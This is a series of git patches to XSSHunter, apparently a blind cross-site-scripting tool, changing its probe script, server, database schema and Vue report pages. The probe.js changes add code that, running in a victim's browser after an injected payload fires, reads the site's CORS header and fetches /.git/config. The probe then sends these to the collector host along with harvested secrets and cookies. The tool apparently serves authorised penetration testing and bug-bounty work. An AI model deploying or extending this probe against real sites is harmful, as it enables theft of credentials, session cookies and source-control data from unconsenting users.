From 71bdb9bf33cf07bf0355463acc70c31e156df810 Mon Sep 17 00:00:00 2001 From: counter Date: Thu, 26 Jan 2023 09:53:54 -0800 Subject: [PATCH 1/6] adding checks for CORS and git --- probe.js | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/probe.js b/probe.js index 0f0bd24..9f15fac 100644 --- a/probe.js +++ b/probe.js @@ -79,6 +79,26 @@ function base64_to_blob(base64Data, contentType) { return new Blob(byteArrays, { type: contentType }); } +let check_cors = async function(){ + let res = await fetch("", {method: 'HEAD'}) + for (const header of res.headers){ + if (header[0].toLowerCase() == "access-control-allow-origin"){ + return header[1]; + } + } + return false +} + +let check_git = async function(){ + + let res = await fetch("/.git/config"); + let text = await res.text(); + if (text.startsWith("[core]")){ + return text + } + return false +} + function get_guid() { var S4 = function() { return (((1+Math.random())*0x10000)|0).toString(16).substring(1); @@ -298,6 +318,16 @@ function hook_load_if_not_ready() { } catch ( e ) { probe_return_data['secrets'] = []; } + try{ + probe_return_data['CORS'] = check_cors(); + } catch (e) { + probe_return_data['CORS'] = false; + } + try{ + probe_return_data['gitExposed'] = check_git(); + } catch (e) { + probe_return_data['gitExposed'] = false; + } probe_return_data['secrets'] = JSON.stringify(probe_return_data['secrets']); html2canvas(document.body).then(function(canvas) { StackBlur.canvasRGB( From 1eae014b81f2018b44bc8d232e1a0bdabc2ba006 Mon Sep 17 00:00:00 2001 From: counter Date: Sat, 28 Jan 2023 16:47:46 -0800 Subject: [PATCH 2/6] adding support for .git and CORS --- app.js | 15 +++++++++ database.js | 17 ++++++++++ front-end/src/pages/XSSPayloadFireReports.vue | 31 +++++++++++++++++-- probe.js | 4 +-- 4 files changed, 63 insertions(+), 4 deletions(-) diff --git a/app.js b/app.js index 4515e6b..c8594c2 100644 --- a/app.js +++ b/app.js @@ -161,6 +161,14 @@ async function get_app_server() { "type": "string", "default": [] }, + "CORS": { + "type": "string", + "default": [] + }, + "gitExposed": { + "type": "string", + "default": [] + }, "path": { "type": "string", "default": "" @@ -267,6 +275,13 @@ async function get_app_server() { correlated_request: 'No correlated request found for this injection.', } + if (req.body.CORS != "false"){ + payload_fire_data.CORS = req.body.CORS; + } + if (req.body.gitExposed != "false"){ + payload_fire_data.gitExposed = req.body.gitExposed.substring(0,5000); + } + // Check for correlated request const correlated_request_rec = await InjectionRequests.findOne({ where: { diff --git a/database.js b/database.js index 2a88d9c..c514dde 100644 --- a/database.js +++ b/database.js @@ -203,6 +203,18 @@ PayloadFireResults.init({ allowNull: false, unique: false }, + // git directory exposed + gitExposed: { + type: Sequelize.TEXT, + allowNull: true, + unique: false + }, + // cors data + CORS: { + type: Sequelize.TEXT, + allowNull: true, + unique: false + }, }, { sequelize, modelName: 'payload_fire_results', @@ -212,6 +224,11 @@ PayloadFireResults.init({ fields: ['url'], method: 'BTREE', }, + { + unique: false, + fields: ['CORS'], + method: 'BTREE', + }, { unique: false, fields: ['user_id'], diff --git a/front-end/src/pages/XSSPayloadFireReports.vue b/front-end/src/pages/XSSPayloadFireReports.vue index 1ebb69c..3cbfcd7 100644 --- a/front-end/src/pages/XSSPayloadFireReports.vue +++ b/front-end/src/pages/XSSPayloadFireReports.vue @@ -132,15 +132,42 @@
- Any secrets harvested from the HTML and Javascript. + TruffleHog-lite, used to capture any secrets harvested from the HTML and Javascript.
-
+
  • Secret type: {{ secret.secret_type }} Secret value: {{ secret.secret_value }}
  • +
    No secrets detected
    +
    +
    +
    +
    + + + What is the CORS policy for the website the XSS rendered on? + +
    +
    + Access-Control-Allow-Origin: {{report.CORS}} +
    No CORS headers detected
    +
    +
    +
    +
    +
    + + + Was the source code exposed via /.git ? (Shows contents of /.git/config) + +
    +
    + {{report.gitExposed}} +
    No .git directory detected
    +

    diff --git a/probe.js b/probe.js index 9f15fac..a3d0904 100644 --- a/probe.js +++ b/probe.js @@ -321,12 +321,12 @@ function hook_load_if_not_ready() { try{ probe_return_data['CORS'] = check_cors(); } catch (e) { - probe_return_data['CORS'] = false; + probe_return_data['CORS'] = "false"; } try{ probe_return_data['gitExposed'] = check_git(); } catch (e) { - probe_return_data['gitExposed'] = false; + probe_return_data['gitExposed'] = "false"; } probe_return_data['secrets'] = JSON.stringify(probe_return_data['secrets']); html2canvas(document.body).then(function(canvas) { From 6b5d116c71ea1a352a2dd85ebe349a0f578790d9 Mon Sep 17 00:00:00 2001 From: counter Date: Sat, 28 Jan 2023 19:08:23 -0800 Subject: [PATCH 3/6] fixing .git scanning and CORS scanning, and tweaks to make localhost work --- api.js | 12 ++++++++++ app.js | 11 ++++++++-- front-end/src/pages/XSSPayloadFireReports.vue | 22 ++++++++++++++----- probe.js | 8 ++++--- 4 files changed, 42 insertions(+), 11 deletions(-) diff --git a/api.js b/api.js index f41b33c..8330c18 100644 --- a/api.js +++ b/api.js @@ -5,6 +5,7 @@ const cors = require('cors'); const path = require('path'); const uuid = require('uuid'); const asyncfs = require('fs').promises; +const fs = require('fs'); const sessions = require('@truffledustin/node-client-sessions'); const favicon = require('serve-favicon'); const database = require('./database.js'); @@ -53,6 +54,15 @@ function session_wrapper_function(req, res, next) { return sessions_middleware(req, res, next); } +async function check_file_exists(file_path) { + return asyncfs.access(file_path, fs.constants.F_OK).then(() => { + return true; + }).catch(() => { + return false; + }); +} + + async function set_up_api_server(app) { // Check for existing session secret value const session_secret_setting = process.env.SESSION_SECRET_KEY; @@ -443,6 +453,8 @@ async function set_up_api_server(app) { "screenshot_id": payload.screenshot_id, "was_iframe": payload.was_iframe, "browser_timestamp": payload.browser_timestamp, + "CORS": payload.CORS, + "gitExposed": payload.gitExposed, "createdAt": payload.createdAt, "updatedAt": payload.updatedAt, "secrets": payload_secrets diff --git a/app.js b/app.js index 0c94240..a919bff 100644 --- a/app.js +++ b/app.js @@ -300,7 +300,7 @@ async function get_app_server() { console.log("saved record"); // Send out notification via configured notification channel - if(user.sendEmailAlerts) { + if(user.sendEmailAlerts && process.env.SMTP_EMAIL_NOTIFICATIONS_ENABLED=="true") { payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`; await notification.send_email_notification(payload_fire_data, user.email); } @@ -349,10 +349,17 @@ async function get_app_server() { if (! chainload_uri){ chainload_uri = ''; } + let xssURI = "" + if(process.env.XSS_HOSTNAME.startsWith("localhost")){ + xssURI = `http://${process.env.XSS_HOSTNAME}` + }else{ + + xssURI = `https://${process.env.XSS_HOSTNAME}` + } res.send(XSS_PAYLOAD.replace( /\[HOST_URL\]/g, - `https://${process.env.XSS_HOSTNAME}` + xssURI ).replace( '[COLLECT_PAGE_LIST_REPLACE_ME]', JSON.stringify([]) diff --git a/front-end/src/pages/XSSPayloadFireReports.vue b/front-end/src/pages/XSSPayloadFireReports.vue index 3139d54..d78cd45 100644 --- a/front-end/src/pages/XSSPayloadFireReports.vue +++ b/front-end/src/pages/XSSPayloadFireReports.vue @@ -125,7 +125,7 @@
    {{report.origin}} -
    None
    +
    None

    @@ -137,12 +137,12 @@
    -
  • +
                                                     Secret type: {{ secret.secret_type }}
                                                     Secret value: {{ secret.secret_value }}
    -                                            
  • +
    -
    No secrets detected
    +
    No secrets detected

    @@ -160,13 +160,13 @@
    - + Was the source code exposed via /.git ? (Shows contents of /.git/config)
    - {{report.gitExposed}} +
    {{report.gitExposed}}
    No .git directory detected

    @@ -413,6 +413,15 @@ export default { color: #fff } +pre { + background: #5BB381; + background-image: -webkit-gradient(linear, right top, left bottom, from(#5BB381), color-stop(#AE8C57), to(#38645A)); + background-image: linear-gradient(to bottom left, #5BB381, #AE8C57, #38645A); + background-size: 210% 210%; + background-position: 100% 0; + color: #fff +} + .pagination .page-item.disabled>.page-link { opacity: .5 } @@ -487,6 +496,7 @@ export default { .report-section-label { + background: #ff8d72; font-size: 18px; display: inline; } diff --git a/probe.js b/probe.js index a3d0904..4d2f9ac 100644 --- a/probe.js +++ b/probe.js @@ -311,7 +311,7 @@ probe_return_data['title'] = document.title; probe_return_data['was_iframe'] = !(window.top === window) -function hook_load_if_not_ready() { +async function hook_load_if_not_ready() { try { try { probe_return_data['secrets'] = look_for_secrets(never_null( document.documentElement.outerHTML )); @@ -319,12 +319,14 @@ function hook_load_if_not_ready() { probe_return_data['secrets'] = []; } try{ - probe_return_data['CORS'] = check_cors(); + const corsResults = await check_cors(); + probe_return_data['CORS'] = corsResults; } catch (e) { probe_return_data['CORS'] = "false"; } try{ - probe_return_data['gitExposed'] = check_git(); + const gitResults = await check_git(); + probe_return_data['gitExposed'] = gitResults; } catch (e) { probe_return_data['gitExposed'] = "false"; } From dcf41514fc30ad32571d75245698800844e1e7e5 Mon Sep 17 00:00:00 2001 From: counter Date: Sat, 28 Jan 2023 19:51:57 -0800 Subject: [PATCH 4/6] improving UX a little --- front-end/src/pages/Settings.vue | 2 +- front-end/src/pages/XSSPayloads.vue | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/front-end/src/pages/Settings.vue b/front-end/src/pages/Settings.vue index f78ff13..0f37cd6 100644 --- a/front-end/src/pages/Settings.vue +++ b/front-end/src/pages/Settings.vue @@ -24,7 +24,7 @@

    XSSHunter Path

    -
    Unique path that ties injection payloads back to you. Can be set to something shorter. (defaults to 20 chars)
    +
    Unique path linked to your account that ties injection payloads back to you. Shorter is better. WARNING: changing this will make existing payloads not linked to your account. (defaults to 20 chars)

    diff --git a/front-end/src/pages/XSSPayloads.vue b/front-end/src/pages/XSSPayloads.vue index fe6cc60..8894094 100644 --- a/front-end/src/pages/XSSPayloads.vue +++ b/front-end/src/pages/XSSPayloads.vue @@ -6,6 +6,7 @@

    XSS Payloads

    +

    For a shorter URL, change your path on the settings page

    From a3b312fbccc4a1af278942e43229b7958ca3e2d4 Mon Sep 17 00:00:00 2001 From: counter Date: Sat, 28 Jan 2023 22:10:38 -0800 Subject: [PATCH 5/6] fixing ugly XSS --- front-end/src/pages/XSSPayloadFireReports.vue | 53 ++++++++----------- 1 file changed, 21 insertions(+), 32 deletions(-) diff --git a/front-end/src/pages/XSSPayloadFireReports.vue b/front-end/src/pages/XSSPayloadFireReports.vue index d78cd45..209870e 100644 --- a/front-end/src/pages/XSSPayloadFireReports.vue +++ b/front-end/src/pages/XSSPayloadFireReports.vue @@ -46,7 +46,7 @@
    - {{report.url}} +
    {{report.url}}
    None

    @@ -59,7 +59,7 @@
    - {{report.ip_address}} +
    {{report.ip_address}}
    None

    @@ -72,7 +72,7 @@
    - {{report.referer}} +
    {{report.referer}}
    None

    @@ -85,7 +85,7 @@
    - {{report.user_agent}} +
    {{report.user_agent}}
    None

    @@ -98,7 +98,7 @@
    - {{report.cookies}} +
    {{report.cookies}}
    None

    @@ -111,7 +111,7 @@
    - {{report.title}} +
    {{report.title}}
    None

    @@ -124,7 +124,7 @@
    - {{report.origin}} +
    {{report.origin}}
    None

    @@ -137,12 +137,12 @@
    -
    -                                                Secret type: {{ secret.secret_type }}
    -                                                Secret value: {{ secret.secret_value }}
    -                                            
    +
    Secret type: {{ secret.secret_type }}
    +Secret value: {{ secret.secret_value }}
    +
    +
    +
    No secrets detected
    -
    No secrets detected

    @@ -153,7 +153,7 @@
    - Access-Control-Allow-Origin: {{report.CORS}} +
    Access-Control-Allow-Origin: {{report.CORS}}
    No CORS headers detected

    @@ -179,7 +179,7 @@
    - {{ new Date(parseInt(report.browser_timestamp)) | moment("dddd, MMMM Do YYYY, h:mm:ss a")}} ({{report.browser_timestamp}}) +
    {{ new Date(parseInt(report.browser_timestamp)) | moment("dddd, MMMM Do YYYY, h:mm:ss a")}} ({{report.browser_timestamp}})
    None

    @@ -192,16 +192,9 @@
    -

    - Fired in iFrame?: {{report.was_iframe}} -

    -

    - Vulnerability enumerated {{ report.createdAt | moment("dddd, MMMM Do YYYY, h:mm:ss a") }} -

    -

    - Report ID: {{report.id}} -

    -
    +
    Fired in iFrame?: {{report.was_iframe}}
    +Vulnerability enumerated {{ report.createdAt | moment("dddd, MMMM Do YYYY, h:mm:ss a") }}
    +Report ID: {{report.id}}

    @@ -414,12 +407,8 @@ export default { } pre { - background: #5BB381; - background-image: -webkit-gradient(linear, right top, left bottom, from(#5BB381), color-stop(#AE8C57), to(#38645A)); - background-image: linear-gradient(to bottom left, #5BB381, #AE8C57, #38645A); - background-size: 210% 210%; - background-position: 100% 0; - color: #fff + background-color: rgba(255, 255, 255, 0.8); + color: #38645a; } .pagination .page-item.disabled>.page-link { @@ -496,7 +485,7 @@ pre { .report-section-label { - background: #ff8d72; + background: #5BB381; font-size: 18px; display: inline; } @@ -511,7 +500,7 @@ pre { } .report-section-description { - color: #d3d3d7 !important; + color: #5bb381 !important; font-style: italic; display: inline; float: right; From 023ab17b3b00de4b746e3852e5b9deb0703f3ced Mon Sep 17 00:00:00 2001 From: counter Date: Sat, 28 Jan 2023 22:17:33 -0800 Subject: [PATCH 6/6] fixing ugly XSS --- front-end/src/pages/XSSPayloadFireReports.vue | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/front-end/src/pages/XSSPayloadFireReports.vue b/front-end/src/pages/XSSPayloadFireReports.vue index 209870e..a40cbc6 100644 --- a/front-end/src/pages/XSSPayloadFireReports.vue +++ b/front-end/src/pages/XSSPayloadFireReports.vue @@ -136,7 +136,7 @@ TruffleHog-lite, used to capture any secrets harvested from the HTML and Javascript. -
    +
    Secret type: {{ secret.secret_type }}
     Secret value: {{ secret.secret_value }}
    @@ -152,7 +152,7 @@ Secret value: {{ secret.secret_value }} What is the CORS policy for the website the XSS rendered on?
    -
    +
    Access-Control-Allow-Origin: {{report.CORS}}
    No CORS headers detected
    @@ -165,7 +165,7 @@ Secret value: {{ secret.secret_value }} Was the source code exposed via /.git ? (Shows contents of /.git/config)
    -
    +
    {{report.gitExposed}}
    No .git directory detected